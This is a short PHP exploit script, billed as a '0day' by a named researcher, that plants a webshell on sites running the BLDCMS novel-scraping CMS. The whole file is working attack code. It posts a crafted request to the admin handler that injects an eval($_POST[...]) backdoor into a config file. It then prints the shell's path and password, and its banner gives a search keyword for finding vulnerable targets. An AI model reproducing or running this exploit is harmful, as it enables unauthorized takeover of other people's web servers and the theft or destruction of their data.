<?php
echo "-------------------------------------------------------------------------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun QQ:981009941\r\n                                2013.3.21\r\n                    
           用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-------------------------------------------------------------------------------\r\n";
$url=$argv[1];
$dir=$argv[2];
$pass=$argv[3];
$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
if (empty($pass)||empty($url))
{exit("请输入参数");}
else
{
$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$eval;
$length = strlen($fuckdata); 
function getshell($url,$pass)
{
global $url,$dir,$pass,$eval,$length,$fuckdata;
$header = "POST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n"; 
$header .= "User-Agent: MSIE\r\n"; 
$header .= "Host:".$url."\r\n";
$header .= "Content-Length: ".$length."\r\n";
$header .= "Connection: Close\r\n";
$header .="\r\n";
$header .= $fuckdata."\r\n\r\n";
$fp = fsockopen($url, 80,$errno,$errstr,15);
if (!$fp)
{
exit ("利用失败:请检查指定目标是否能正常打开");
}
else{ if (!fputs($fp,$header))
{exit ("利用失败");}
else
{
$receive = '';
while (!feof($fp)) {
$receive .= @fgets($fp, 1000);
}
@fclose($fp);
echo "$url/$dir/conn/config/normal2.php pass:$pass(如连接失败 请检查目标GPC是否=off)";
}}
}
}
getshell($url,$pass);
?>